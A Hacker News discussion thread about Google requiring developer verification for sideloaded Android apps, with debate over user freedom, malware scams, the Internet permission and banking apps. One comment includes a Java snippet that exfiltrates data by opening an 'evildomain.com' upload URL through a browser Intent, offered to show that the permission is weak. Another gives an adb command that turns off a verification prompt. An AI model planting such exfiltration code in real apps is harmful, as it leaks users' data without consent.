Official announcement 1: https://android-developers.googleblog.com/2025/08/elevating-...
Official announcement 2: https://developer.android.com/developer-verification
Play Console Help: https://support.google.com/googleplay/android-developer/answ...
Official announcement 1: https://android-developers.googleblog.com/2025/08/elevating-...
Official announcement 2: https://developer.android.com/developer-verification
Play Console Help: https://support.google.com/googleplay/android-developer/answ...
More and more locked down devices, Android source releases only being published once a year, device drivers for reference devices disappearing, and now, verification of all your software for your "security". The war on general computing is well and truly on.
What the absolute fuck.
They've been chipping away at this over the years. Safetynet was the first offense, but if they start restricting app installation from sources of my choice (I hate the term "sideloading"), there's not much advantage left.
Google is trying something which will be a net negative for everybody, instead of keeping this _massive_ USP that also keeps a core userbase. Might as well switch to iOS now, I don't have anything which keeps me on Android.
Personally: I don't use Apple because I like being able to whip together little apps to side-load without having to check in with a walled-garden mothership. If Google is going to move closer to Apple in that regard... Apple's UX ecosystem is better, so I have far fewer reason to keep using Android.
Damn the future sucks ass.
Alternatively, and that’s almost bullshit, the dumb phone trend continues and we might get devices like PDAs. Get a dumb phone and a small camera and then your PDA for everything that is essentially an app. Not sure what OS they’d run but I don’t see another way.
I think I'll look into what Android phones are out there that aren't glued to the Google Play ecosystem. Side-loading is still a feature the OS core supports even if Google switches it off (for now, and AFAIK the OS is forkable if they press the issue).
As long as they still allow running stuff inside of apps like that I will probably not abandon ship yet.
GrapheneOS won't survive the next generation of devices because bootloader unlocking will also go away (https://news.ycombinator.com/item?id=44765939), and without kernel security updates that OS can't continue.
Now there's also no more sideloading, so what purpose does Android even serve anymore?
The comment in the thread you linked directly contradicts the claim that "bootloader unlocking will also go away".
Can you download, build, and install a basic Android system these days without touching a single piece of closed code? Absolutely. Will it be able to do much without closed binaries? No.
Android isn't GNU/Linux where there's a general ethos of making everything in userland FOSS if at all possible. Rather, it's a free OS that both Google and manufacturers can do anything they want with, including shove a ton of spy and bloatware on it, then make it to where you can't get rid of those things, at least not easily.
The optimism from 15 years ago surrounding FOSS in the mobile space is on its deathbed.
Is it really doing anyone in FLOSS any favors if the projects are legally open but not practically?
I feel rooked on Android tbh. If the idea was to give large companies a free way to manage the hardware resources in SKUs that are competitors to the iPhone, yeah, it definitely accomplished that, but that makes it only a means to an end. It's not like GNU/Linux where there's any ethos to seriously change how software and services are delivered.
iOS does a tremendous amount of data collection including for the usage of ads as per Apple's privacy policy. All the same types of data that stock Android collects, even.
You may believe Apple is a generally better steward of that data than Google, but using iOS does not reduce the amount of data being hoovered up in any meaningful capacity.
> Now there's also no more sideloading, so what purpose does Android even serve anymore?
I hate this change, but I still prefer Android. iOS is hardly perfect nor does it do everything better...
Because Google-free AOSP-derived Android distributions are far more versatile, offer far more freedom, impose far fewer restrictions and tend to end up being far less expensive than whatever the fruit factory decides their dedicants have to use today. If Google goes the way of the fruit folks and AOSP no longer offers these freedoms the next step is not to surrender to the Church of Apple but to find a way to evade those restrictions.
More info:
https://developer.android.com/developer-verification
https://support.google.com/googleplay/android-developer/answ...
Personally...we all know the Play Store is chock full of malicious garbage, so the verification requirements there don't do jack to protect users. The way I see it, this is nothing but a power grab, a way for Google to kill apps like Revanced for good. They'll just find some bullshit reason to suspend your developer account if you do something they don't like.
Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps. But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.
> we will be confirming who the developer is, not reviewing the content of their app or where it came from
This is such an odd statement. I mean, surely they have to be willing to review the contents of apps at some point (if only to suspend the accounts of developers who are actually producing malware), or else this whole affair does nothing but introduce friction.
TFA had me believing that bypassing the restriction might've been possible by disabling Play Protect, but that doesn't seem to be the case since there aren't any mentions of it in the official info we've been given.
On the flip side, that's one less platform I care about supporting with my projects. We're down to just Linux and Windows if you're not willing to sell your soul (no, I will not be making a Google account) just for the right to develop for a certain platform.
https://developer.android.com/develop/connectivity/network-o...
It's been there since Android 1.0.
What's missing is a way for the user to deny it.
Google mostly doesn't let you deny permissions while running apps that require them; recently there's some permissions that you can pick at runtime. So it's not suprising that they don't let you deny this one, when they don't even show it in the store.
App page => "About this app" => "App permissions / See more" at the bottom of the page => look for "have full network access" in "Other"
The internet permission has nothing to do with ads? It's a hidden permission because:
1) Internet connection is so ubiquitous as to just be noise if displayed
2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar
That doesn't make it any less useful.
> 2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar
I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it. But even if it is flawed, don't you think Google would be a bit more incentivized to make the Internet permission work as expected if people could disable it?
Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE);
Intent i = new Intent(Intent.ACTION_VIEW, uri);
startActivity(i);
Hey we were already on board with this, you don't have to convince us.
You could very specifically ban ACTION_VIEW intents for web URIs from apps without an internet permission I guess. But does banning apps from linking to the web (to be opened in browsers) really seem like a good idea?
That's also why there's a warning before installing really old apps, they may run with extra permissions.
and isn't it immediately apparent that the app is leaking data if your calculator is popping a webview?
Yes, this is a little suspicious. But you just have the evil page redirect to google.com or something benign. To the user it looks like "huh, chrome just opened on its own."
Calculator.apk wants to open the web page https://eviltracker.example.com. Allow this time? Allow for 24 hours? Allow and don't ask me again?
Doing this for all apps would be wild. Doing this just for those that don't request the internet permission just encourages more apps to request it (it is basically universally used anyway). "Huh, why does my calculator need internet" has never actually been effective at helping people avoid malware at any meaningful scale.
No it wouldn't, not at all.
90% of apps on your phone do not need to be apps. Facebook does not need to be an app. Instagram does not need to be an app.
This is a sober reminder that apps are executables code that is running on your phone with very little sandbox. Its not like a web browser.
We do not need to execute compiled binaries that are closed source to buy parking that one time. No, no we don't.
Why do we? Because as I've said - such apps are much more powerful than the web browser and can therefore be used as spyware or keyloggers. Most apps on Android, including most Google apps, can be regarded as spyware.
Companies don't want to give up their de facto malware they've built up, and now users are trained to just install whatever the fuck on their phone.
We have given software 1000x more permission than it needs to do want it does. And now, we sit back and complain about malware.
This starts with Google, this starts with Meta, this starts with big tech. They directly caused all this malware by forcing users into downloading executables so they can exfiltrate your key presses.
Because it is obvious. Just open a web browser.
More details here: https://old.reddit.com/r/androiddev/comments/ci4tdq/were_on_...
The main thing this permission would be used for would be blocking ads. Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?
This permission has existed for longer than runtime permissions. You have never been able to revoke it, it was just something you agreed to when you installed the app or you didn't install the app.
It was "removed" in that era because if every app requests the same permission, then nobody cares about it anymore. When every app asks for the same thing, users stop paying attention to it. So no, it had fuck all to do with ads because that was never a thing in the first place. And ad blocking doesn't require this permission, either.
> Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?
You can still use it for this. Apps are required to declare the permission still, it's listed on the Play Store under the "permissions" section. Similarly the OS reports the same thing. Presumably F-droid or whatever else also has a list of permissions before you install, and it'll be listed there.
Although Google's own Calculator app requires Internet permission. Take that for what's it worth.
I just tend to give Google little benefit of the doubt here, considering where their revenue comes from. Same as when they introduced manifest v3, ostensibly for security but just conveniently happening to neuter adblocking. Disabling access to the internet permission for apps aligns with their profit motive.
That's not even a little bit true? There's a ton of 'normal' permissions, almost none of which are user-overrideable. Like, say, android.permission.VIBRATE. Or android.permission.GET_PACKAGE_SIZE. Android has an obscene number of permissions ( https://developer.android.com/reference/android/Manifest.per... ) and almost none of them have a UI to control them nor any ability to be rejected
> It is an obvious win for an advertising/surveillance company like Google. What is wack about it?
How, exactly? How does Google benefit from random 3p apps having Internet access? And remember, Google has play services on every device to proxy anything it needs/wants.
So rather than just dismissing the argument via insulting language, can you provide a reasonable alternative explanation for why this setting isn't exposed to the user?
And I did provide 2 reasons why that's the case for Internet specifically, neither of which were even attempted to be refuted in this comment chain
Some chinese skins do offer the ability to revoke internet access for apps. I wonder why the western ones don't?
I pretty solidly refuted your first reason (internet connection is ubiquitious, apps don't need it). I pointed out that there are whole categories of apps that don't need a network connection. You never bothered to refute my argument and are now claiming that I didn't address that point. You claim it is a 'ubiquitous' permission, but haven't said why a level sensor app that just reads the MEMS gyro sensor would need a network connection at all. So that's point 1 sorted, which I already addressed and you are pretending wasn't refuted.
Point 2 was "2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar"
I never addressed this, because it seemed extraneous to the discussion. This data exfiltration is purely a hypothetical at this point, since apps can always rely on a network connection. Sure, if the network setting was exposed to the user and was able to be toggled, there might be ways to bypass that. But that is hypothetical, and relies on hypothetical security loopholes. No apps are currently doing this, since apps can't have their network permissions toggled. The possibility of potentially bypassing the system network permission toggle doesn't seem germane, since it's a hypothetical. To use your words, it's a 'whack-ass conspiracy theory' and not a germane concern.
You've resorted to ad-hominem by insinuating that my viewpoint as a conspiracy theory and haven't even attempted to address my point that there are whole categories of apps that don't need network connections. You also are trying to claim that I haven't addressed points you made, while ignoring my argument that rebutted those claims. I'm sorry, but since you want to engage in this way,why are you so addicted to the taste of Google boot leather? Why are you trying to say that Google doesn't want to protect its ad network? Android apps using Google adsense to serve ads to users clearly benefits them, I don't even see why this is controversial.
I mean, would you chop off your own foot? No? Then we should all be in agreeance. Google is definitely forcing network permission for every app to maximize their ad revenue.
I don't think we can know for sure before the change is actually in place. Going through Play Protect would certainly be the easiest way of implementing this - it would be a simple change from "Play Protect rejects known malware" to "Play Protect rejects any app that isn't properly notarized". This would narrowly address the issue where the existing malware checks are made ineffective by pushing some new variant of the malicious app with a different package id.
It's a big change for the ecosystem nonetheless because it will require all existing developers to register for verification if they want to publish a "legit" app that won't be rejected by any common Android device - and the phrasing of the official announcements accurately reflects this. But this says nothing much as of yet about whether power users will be allowed to proactively disable these checks (just like they can turn off Play Protect today, even though very few people do so in practice).
Requiring company verification helps against some app pretending to be made by a legitimate institution, e.g. your bank.
Requiring public key registration for package name protects against package modification with malware. Typical issue - I want to download an app that's not on available "in my country" - because I'm on a holiday and want to try some local app, but my "play store country" is tied to my credit card and the developer only made it available in his own country thinking it would be useless for foreigners. I usually try to download it from APKMirror. APKMirror tries to do signature verification. But I may not find it on APKMirror but only on some sketchy site. The sketchy site may not do any signature verification so I can't be sure that I downloaded an original unmodified APK instead of the original APK injected with some malware.
Both of these can be done without actually scanning the package contents. They are essentially just equivalents of EV SSL certificates and DANE/TLSA from TLS world.
The solution here is just to get rid of artificial country limitations which make some users download APKs. None of those make sense in the online world anyways.
You've never needed the internet permission to exfiltrate data. Just send an intent to the browser app to load a page owned by the attacker with the data to be exfilled in the query parameters.
And of course basically every app requires internet permissions for ordinary behavior. The world where an explicit internet permission would somehow get somebody to look askance at some malware that they were about to download is just not believable.
To be honest, it almost makes me wonder if the issue here is not related to security at all. I am not being sarcastic. What I mean is, maybe the issue revolves around some of the issue MS had with github ( sanctions and KYC checks ).
https://www.bitdefender.com/en-us/blog/hotforsecurity/hacker...
Sure. It’s also not Google’s problem.
It’s not Victorinox’s problem of someone uses a Swiss Army knife to cut someone else. It’s not Toyota’s problem if someone deliberately runs over a pedestrian.
If they don't do that then their reputation will suffer and governments might take notice. So, in practice, big companies do have to care about their users, not individually but in aggregate.
This is like a car manufacturer preventing the installation of all unapproved aftermarket accessories by claiming they're protecting you from a stalker installing a tracker on your car.
Didn't Kia go over a decade without caring or improving until the Kia Boys stuff?
1. Most users do not use fdroid or APKs to download software. They download software from the play store.
2. Therefore almost all malware will target the play store.
3. Therefore most malware actively used comes from the play store.
4. Compounded, the play store does almost nothing to prevent malware and actively encourages certain types of malware like spyware and adware.
5. Compounded, Google gets a cut from each piece of malware sold on the play store or advertised on the play store, therefore they have no incentive to prevent malware in any significant way.
That's still security, albeit an entirely different threat model.
Of that they still refuse to sandbox the play store.
It's easy to see that there's a pattern on what they are copying from GrapheneOS.
It's absolutely essential that Google Play Services have "root" permissions and circumvent the permissions system normal apps have. How else would Google have access to all of your data? :)
Still an awful solution that will get bypassed easily, of course. But there's more to this than "Google decided to be a bunch of dicks today".
A lot of people are pretending there is no malware problem and that Google should just do nothing and move on. That's not helpful.
This bullshit needs to be aborted as soon as possible, but a solution for mobile malware is desperately needed. The crutch used on desktop, invasive antivirus, doesn't work on Android unless it comes from the OS manufacturer, so we need a new solution.
https://www.electronforge.io/guides/code-signing/code-signin...
It’s something possible only on grapheneos as far as I know.
Yes, there are apps out there that try to trick the system and when you use them, instead of looking innocent, it's actually a casino app or something. But Google usually finds those. Are there any apps impersonating a bank? Because that is what regular people care about & think of when someone says "malicious".
They don't care if an app tracks what other apps are installed, what the user taps on, etc. Arguably they should care, but they don't lose money from it.
Ah, then I guess everything is fine. I'm sure they aren't in favour because it gives governments greater control over what apps we're allowed to have on our phones. That would be absurd.
> Singapore Android users to be blocked from installing certain unverified apps as part of anti-scam trial (07 Feb 2024)
— https://www.channelnewsasia.com/singapore/google-android-dev...
It makes total sense to the average person. There has been a constant stream of “yet another Android user got scammed out of their life savings because of Android side loading; iPhone users not affected”
It’s an inconvenient fact for power users, but side loading makes users significantly more vulnerable to scams and restricting side loading is both a predictable and reasonable response to that fact.
If you don’t like this, you need a better argument than “my desire to run any app I want is more important than pensioners losing their life savings” because that is not a winning argument with the average person, with governments, or with Google/Apple.
— https://news.ycombinator.com/item?id=44194034
> As I’ve mentioned here before, sideloading is a genuine security concern, not merely an excuse for Apple to exert control. There is a never-ending stream of people losing their life savings. It happens on Android and not iOS because Android allows sideloading and iOS doesn’t. There is a very real human cost to this.
> Police warn new Android malware scam can factory reset phones; over S$10 million lost in first half of 2023
> There have been more than 750 cases of victims downloading the malware into their phones in the first half of 2023, with losses of at least S$10 million (US$7.3 million).
— https://www.channelnewsasia.com/singapore/android-malware-sc...
> DBS, UOB become latest banks to restrict access if unverified apps are found on customers' phones
> They are the latest banks in Singapore to do so – after OCBC and Citibank – amid a spate of malware scams targeting users of Android devices.
— https://www.channelnewsasia.com/singapore/dbs-uob-anti-scam-...
> 74-year-old man loses $70k after downloading third-party app to buy Peking duck
> “I couldn’t believe the news. I thought: Why am I so stupid? I was so angry at myself for being cheated of my life savings. My family is frustrated and I ended up quarrelling with my wife,” said Mr Loh, who has three children.
— https://www.straitstimes.com/singapore/74-year-old-man-loses...
> Singapore Android users to be blocked from installing certain unverified apps as part of anti-scam trial
> "Based on our analysis of major fraud malware families that exploit these sensitive runtime permissions, we found that over 95 per cent of installations came from internet-sideloading sources," it added.
— https://www.channelnewsasia.com/business/anduril-secures-305...
> CNA Explains: Are Android devices more prone to malware and how do you protect yourself from scams?
> Why are scammers more likely to target Android users? How do you spot a fake app and what should you do if your device is infected by malware?
— https://www.channelnewsasia.com/singapore/android-malware-sc...
> Nearly 2,000 victims fell for Android malware scams, at least S$34.1 million lost in 2023
> In 2023, about 1,899 cases of Android malware scams were reported in Singapore. The average amount lost was about S$17,960.
— https://www.channelnewsasia.com/singapore/android-malware-sc...
> Android users in Singapore tried to install unverified apps nearly 900,000 times in past 6 months
> These attempts were blocked by a security feature rolled out by Google six months ago as part of a trial to better protect users against malware scams, which led to at least S$34.1 million (US$25.8 million) in losses last year with about 1,900 cases reported.
— https://www.channelnewsasia.com/singapore/android-users-inst...
https://news.ycombinator.com/item?id=44194034
I didn’t notice that Hacker News had truncated the URLs for display. You can get to the articles by following the links in the original comment.
> You are aware that it's not the app store that protects you, but the sandboxing?
Both protect you.
> Are these impersonation vectors, ie phishing?
It’s a variety of things. Some use accessibility hooks to act as key loggers. Some seem to use exploits. Some are phishing by impersonating other apps.
We can't be handwringing about safety right now, because our right to free speech and to protest are at stake. Our democracies are at stake here.
F-Droid is a massive win for the mobile ecosystem, probably the last bastion of useful free software for mobile devices. Being able to build an APK at home and run it on my phone is the ideal way computers should be used. But you can't put a price on these freedoms.
You're advocating for a system that removes the least abusive app store so we can hand more control to the most abusive app store. I can't support that, especially when it's glaringly obvious that walled app store are neither necessary nor sufficient to provide safety for users.
This is a completely made up and hallucinated problem. I will not mince words - this is a blatant attempt at deception.
We do not need to block sideloading to:
1. Stop malicious apps (does nothing)
2. Stop users from side loading
If we want to stop sideloading, we can simply introduce an arduous process to enable side loading. For example - consider turning on ADB. Do we vaporize ADB? No, because that's fucking stupid.
But now when it comes to apps, that little nugget of information is suddenly conveniently not considered.
However moving to a whitelist system I think is counterproductive. Especially when Google is the only one with the power to edit that list. There is a reason Microsoft or Apple never went down this route in the name of security. It's just too much of a burden on them and it hinders power users, hobbyists, and small developers. Cases where one might want to keep their identity to themselves are edge cases but they are VERY important edge cases.
In my case I keep a copy of K9 Mail 5.6 with the original UI (the reason I choose K9) and I sideload it to every device of mine. I'm afraid that I'll have to register an account and what, claim that that K9 is mine?
-- Apologies for my brevity.... --
It's so fundamentally depressing, and completely at odds with how I grew up viewing tech.
We're being pushed a message that we're all impotent but the reality is that collectively we can change things, and apathy is exactly what these people try to push onto us.
Things get worse but there are also good laws being pushed: see for example digital markets act and GDPR. 2008 when I started using Linux, gaming on Linux was horrible. Now it's day and night, and linux, while still small, is more popular and usable than ever. Recently alternative social medias like Bluesky, and Mastodon enable more open ecosystems and they've gained a lot of traction.
Android has alternative ecosystems like F-Droid and GrapheneOS that can be built upon and hopefully we can get it to a point where we can ditch Google. We need to keep up the fight.
Sweet talk and online activism is great, but the TLDR is always open-source developers need money to work.
If this actually goes through, there will be no option in the mobile OS market for an OS that both:
a) allows the installation of apps without any contractual relationship with any party, and
b) allows the use of mainstream and secure apps like banking
If anything, they'd eventually deny access from desktop, forcing everyone to login via the fully manages mobile devices without any user freedom.
Some banks are already getting there btw, as their preferred 2fa is a companion app... One small step away from making that the only option, effectively denying access to anyone without a locked down mobile device.
You can apply for an HSBC Global Money Account if you have: […] The HSBC UK Mobile Banking app (Global Money is only available via the app)
From https://www.hsbc.co.uk/current-accounts/products/global-mone...
What are you doing that you need to use your banking app daily?
It seems like a once a month affair. Pay the bills, take some cash out of the account, and you're done. Online shopping just needs a credit card, no apps required.
The app is required for two-factor authentication.
I requested it after they updated their Android app to have a check for pin-code enablement. Sailfish OS doesn't report it via the Android AppSupport system, so it was blocked before I grabbed an older build via Aurora and disabled it from updating. If it ever stops working, I'll only use the token. Once that stops working, I will switch banks.
Any limitations to access to banking is serious f**ed. Makes me want to use cash.
And I have to agree, sadly. We've been inching towards that over the years, and it's entirely possible banks cease providing regular web access to their accounts (which this would necessitate).
But I think there will always be at least some banks that will have web frontend, so you'll just have to be pickier.
When I complained repeately that this was forcing me into an American or Chinese ecosystem, they said that no one cares and I'm a minority :-(.
For the desktop, you need the phone for the 2FA.
Thankfully I don't actually rely on PayPal for anything serious, but there are artists whose commission I like to pay, and being able to actually pay them would be nice. :/
Ah, and it can only be installed in one device at the same time :D Don't have your phone available? Bad luck for you
Google started doing this for Gmail. To use Gmail on my laptop, I need to approve it with Gmail on my phone. I never signed up for this. I’m now afraid if I delete the Gmail app from my phone that I’ll lose access to my email.
I hate the direction “security” is taking us. It’s done in the name of security, but it feels more like blackmail to get and keep the company app on your phone.
One huge fear I have no is breaking my phone while away from home and getting locked out of everything.
I was on vacation several years ago and broke my phone (the only time I’ve ever done that), and got lucky in several ways. I had a 2nd work phone with me. I was able to use that to call an Uber to get to an Apple Store; I was lucky to be in a city with an Apple Store. Then I got lucky again that I was able to talk Apple into giving me a replacement right there instead of a repair, they happened to have a single phone in stock to do that with. Then I got lucky yet again when I went to set it up, because I had an iPad with me by dumb luck, which was able to do my Apple 2FA that I didn’t sign up for.
If I go somewhere with just my 1 phone and no second device… I’m thinking I need to setup and bring a bunch of recovery codes, which has its own risks. My plan would be to cryptically write them down and put them in a money belt, as if those got into the wrong hands I’d be screwed.
I really don’t know what people do who only have a phone and nothing else. It seems they would always have this risk.
I neither like nor understand this restriction. It makes device failure / loss / theft a much more difficult experience to recover from than it would otherwise be. The device should be throwaway. I specifically keep old phones in case something happens to the new one.
WhatsApp is probably the stupidest example of only being able to be on a single device (but I'm forced to use WhatsApp for one specific purpose, so I already resent it). Signal does the same thing, so maybe it's related to the E2EE that WhatsApp licensed from Signal...
that's not really an artificial limitation but a design choice. They don't store your messages, only deliver them. Once the message is on your device, it's gone from their servers, like old POP3 mail.
As is with all two factor, but don't point that out, or the "but muh security" bros will shout you down.
I would be extremely F'd if my 2FA was able to be lost or stolen due to a single device limitation.
Phone apps are generally significantly more trusted because of the fact you can’t install malware that steals the session token, and they can do a Face ID check before any risky operations.
I am gonna start carrying around a laptop with a 5G modem instead.
Really though, it doesn’t have enough impact for consumers. If I get unfairly banned as a developer, no one even notices because that’s nothing more than an opportunity for another developer to step in.
Individually we have no power :-(
All bets are off at this point.
Just yesterday I got a venmo prompt to add biometrics for "security". F off.
DO NOT trust financial institutions with your data. They WILL leak it. Its only a matter of time.
It is, however, to make you use Venmo more easily, thus more often, thus spend more money through them.
Vemno doesn't get your bio data, it just gets a true or false from the OS.
The issue is that the good news are often incremental, while the bad news come in large steps, which makes them much more noticeable.
"Would?" Google has zero incentive to do that.
They literally already do? https://f-droid.org/docs/Signing_Process/
One thing that annoys me is that a lot of F-Droid apps are obviously naive ports with overbroad permissions like "can read the entirety of storage", but that's still better than the all-consuming Goo.
It seems to me that most of the users do not care much about what kind of software their phone runs, unfortunately. As long as it works with Instagram or whatever other big brand social media is trending these days, they are happy. Which is I think understandable.
The companies developing the apps are in my opinion driving this cultural shift. And they are doing it mostly because it brings them commercial advantages. Which is, I think, also understandable.
Everyone involved seems to to what appears to be in their best interest. And yet, collectively, we as a society get a worse outcome overall. This phenomenon perhaps has a name.
In order to break out of it, I think that the incentives on both sides need to be adjusted. It needs to be in the companies' interest to produce apps as open source. And the users need to want them.
The only way I can think of to achieve that kind of a change is when the open source apps and products become just inherently better than their proprietary alternatives. In all categories. Then, the people would want them. And then the companies will start to produce them.
It is a very tough goal. The commercial apps do not have to be better in all categories to retain their users. They can use vendor locks or other business strategies which restrict the users' ability to leave them.
Open source apps cannot do such things. The only fair ground on which they can compete is their quality.
The busybox/toybox case looks especially relevant and interesting:
> In January 2012 the proposal of creating a BSD license alternative to the GPL licensed BusyBox project drew harsh criticism (…). Rob Landley, who had started the BusyBox-based lawsuits, responded that this was intentional, explaining that the lawsuits had not benefited the project but that they had led to corporate avoidance, expressing a desire to stop the lawsuits "in whatever way I see fit".
Such a shame that the Free Software Foundation has been such an awful steward of the GPL. The fact that the GPLv3 didn't close the network hole is a decision made either out of myopia or abject cowardice, you shouldn't need a separate license (AGPLv3) to ensure true freedom of the codebase.
If RMS was going to piss off the entire industry with a new version of the GPL, the least he could do was close the network hole. What we got instead is a half measure that satisfies nobody.
More importantly, he completely missed the boat on App Stores. Why was there never any watered down version of copyleft that could be used as a wedge to try and pry open app stores over time? They did it for libraries with the LGPL, but apparently app stores werent worth specials casing.
Google was successful in lobbying the FSF to have 2 licences (GPLv3 and AGPLv3) instead of 1 (GPLv3 covering web services).
Also, due to the cost of physical media piracy was rampant even amongst boomers. People knew and had the option to buy a dvd player that could play video cd because that’s how movies were ripped.
Even during the early iPhones we were so stripped of even basic features that a jailbreak was 100% required if you wanted to even basic things like taking videos or changing the Home Screen background.
None of this is necessary anymore. The users gets the phone and it just works from their perspective at least.
So who is going to try to run a business off of nerds like us who want to have this sort of control over our devices (I’d call it freedom but the average user doesn’t feel unfree)?
Where a less restricted device can do cool things nobody else can do.
I am both happy (from a user-friendliness point of view) and sad (from a "works offline" perspective) that F-Droid's share button now shares a link that will show them info about the app with an option to install the software, instead of the share button directly giving you an APK file with no way to link someone to the 'store' page. I'd personally still know how to send people APKs via hotspot or bluetooth (such as for peer-to-peer voice/message apps) but a lot of people won't
This move from sending each other software to sending each other links to centralized platforms has been long ongoing. Most messaging systems don't allow you to send executable (.exe, .apk, .sh, etc.) files anymore. And I believe that virtually all of them individually do it for your own good, but the combined result is a societal shift
People barely know what a file-system is these days.
PDAs, now... have a look at https://www.clockworkpi.com/home-uconsole
I find it hard to state how contemptible this is. How stupid. Everyone who worked on this has blood on their hands.
adb shell settings put global package_verifier_user_consent -1
I personally won't be doing this verification for my open-source apps. I have no interest in any kind of business relationship with anyone just to publish an .apk. If that limits those who can install it to people who disable Play Protect globally, then oh well.
I’m hoping that projects like Precursor can take off because we’ve buried ourselves in such mountain of complexity that seems like only a billion/trillion dollar big tech company can make an OS.
But then again, some body called BS on browsers and we might have a good option soon in Ladybug!
I guess words don't don't have meaning anymore, how can you claim to have an open system in an announcement about closing it down?
It's also telling that the big supporters of this are apparently corporations and governments. Admittedly I don't know what "Developer's Alliance" is but they don't seem to care about developers very much, and I wouldn't surprised if they were just a "pay us to say what you're doing is good for devs" kind of thing
You have here Google making a statement it can't actually fulfill and one that it knows it can't fulfill. So Google is willfully lying here.
The minute Google has a technical capability to control what applications run on Android it's out of their hands. It is in the hands of courts, governments, dictators and authoritarians. That's just the nature of the world - Google has to obey the law and Google doesn't make the laws.
I guess it sounds hysterical, but in that sense, this is an absolutely massive loss of freedom for the entire planet as communication power that rested with individual choice is now transferred wholesale back to governments by this decision.
Break them up already, it's getting old.
Personally I would be fine with unsigned apps requiring the user to click through a notice before install, or having a setting to toggle to enable unsigned apps. Windows does something similar to this where unsigned binaries get a pop up warning but signed ones are executed immediately.
The fact they incidentally position themselves as the only gatekeepers rather than accomplishing the same without doing that tells you all you need to know about their intent.
Google doesn't make better phones, they were just less hostile to the consumer. That seems to be going away :(
Otherwise, I think it's possible to use developer tools to temporarily install apps on an iPhone. IIRC this requires a Mac and has to be repeated every few days.
7 days for free account.
1 year for paid (until membership ends?).
90 days for TestFlight.
You can also use an enterprise developer certificate that lasts forever but if Apple revokes it then the app stops working until you get another working cert.
It does require you to turn on iOS developer settings by connecting to a Mac with Xcode installed to enable but then you can manage app installation and refreshing via an App Store like Alt Store. EU has different system where there is no limit on amount of sideloadable apps but the apps still need to be approved by Apple. Alt Store also have a EU specific App Store for that purpose.
I side loaded on iOS for a long time. Get Youtube++ for ad free and I forget the Reddit client I used that was side loaded as well. You can run the server on any PC or Mac that will handle side loaded apps and being on the same WiFi network allows the server to automatically refresh the installed apps. Only big downside is updates are not automatic or simple. To update an app you have to download the new app .ipa and then sign it like you were installing it fresh. Usually it picks up the existing configs and data though. So it's not a full app wipe.
The sideloaded subreddit is where I got into it through.
Leaving Google for Apple, and expecting a more open app store, is going to be disappointing. I’m not a Google fanboy by any means, just pointing out the landscape out there
It wasn’t guise, it actually increased the battery life quite much. People complained about the battery of old phones. The problem was that users did not have choice to opt-out.
Apple wouldn't have had to do all the song and dance if from the start a popup warned the users their battery lost capacity and should be serviced.
That’s not a true story.
Nope. There was an issue in iPhones and Nexus phones that had been used for a few years where a worn battery could no longer maintain a voltage high enough to meet instantaneous SOC power demand, resulting in unexpected device shut downs.
Apple got the device to quit shutting off without warning by throttling older devices and Google did nothing and just told users to buy a new device.
They both got sued, and both lost.
> If you currently or formerly owned a Google Nexus 6P smartphone, we have some good news: you might be eligible for a cash rebate for those bootloops and spontaneous shutdowns the device was known for.
https://www.androidauthority.com/nexus-6p-lawsuit-2019-97547...
I've said this before, but it was the right idea executed the wrong way. iPhones give you a warning when they overheat, and this throttling should have gotten a similar warning with a link to an FAQ explaining the battery dynamics.
By itself, this throttling is a good thing and keeps phones usable for longer, because a phone that is slow is better than a phone that randomly reboots.
The problematic part was that they a) didn't disclose it, and b) did this for phones within the warranty period, so instead of the phone visibly crashing and you returning the obviously broken phone, it just lost performance which you might not have noticed in time to get a free replacement.
People definitely complained about the random reboots, especially on the Nexus 6P, since that phone wouldn't boot again until after it was connected a charger plugged into a power outlet.
Heaven forbid you had a medical emergency away from a power outlet with a phone that unreliable.
Google just refused to do anything about it.
It soft bricked itself until you were able to plug it back into a power outlet.
Until then it was useless.
> XDA user XCnathan32, along with assistance from two other users, created the fix and put it up for anyone to give it a whirl. Without getting too technical, the fix shuts down all four of the Nexus 6P octa-core Snapdragon 810 processor’s performance cores that seemingly prevent the phone from properly booting
https://www.androidauthority.com/nexus-6p-bootloop-fix-78930...
It's not about 'saving battery' its about preventing undervoltage that janks everything up.
Having dealt with more than one windows phone that didn't have this feature or had it in a bad way (i.e. 520/521 would just 'reboot', 640 and 950XL would just kill an app) I wish Microsoft would have figured that crap out lol.
And saying that for me anyways the only reason I have an Android and not an IPhone is because they were less abusive. On unrelated metrics like hardware quality Apple generally seems to do better.
I have a stroke everytime I try to navigate settings on a iPhone each time someone asks. It's like they don't want you to try and change anything, ever.
The thing is that if Google choses to make Android OS as closed as iOS, I'd rather use an iPhone than an Android phone...
And the person you're responding to was pretty clear that the issue if they both do the same thing, Google has no edge in devices.
It isn't possible to ban encryption, so the governments have to chip away at security and privacy using these techniques.
From: https://developer.android.com/developer-verification
"You may also need to upload official government ID."
This won't end well for Google or the governments involved when the people get so angry that they are forced to roll this back. Switch to an alternative phone OS.
https://sfconservancy.org/copyleft-compliance/vizio.html https://sfconservancy.org/blog/2021/mar/25/install-gplv2/ https://sfconservancy.org/blog/2021/jul/23/tivoization-and-t... https://events19.linuxfoundation.org/wp-content/uploads/2017...
But the Linux kernel is GPLv2, and only v2. For better or worse, locking down the bootloader is (probably) pernitted with the Linux kernel.
Having heard so much about anti-Tivoization when the GPLv3 was being drafted, and the discussions about it on linux-kernel when Linus decided the kernel will remain GPLv2-only, I was left with the impression that the GPLv2 only required the provision of source code, build scripts, etc. but not the ability to reinstall a new version. [1] makes a pretty good case that the ability to reinstall is also required GPLv2, and I'm heartened that's how Tivo saw it too.
[1] https://sfconservancy.org/blog/2021/jul/23/tivoization-and-t...
I'd be interested in further reading on Google's outreach to big banks and major finance CO's ( or others) pushing for device attestation if you have any further reading.
